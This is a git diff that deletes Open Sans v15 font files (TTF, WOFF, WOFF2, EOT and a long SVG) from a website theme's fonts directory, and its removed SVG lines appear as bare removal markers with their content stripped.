- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf deleted file mode 100644 index a670e142..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff deleted file mode 100644 index e9f5264c..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2 b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2 deleted file mode 100644 index dca07a7b..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot deleted file mode 100644 index 401d5bd6..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg deleted file mode 100644 index c2f16d17..00000000 --- a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg +++ /dev/null @@ -1,19043 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 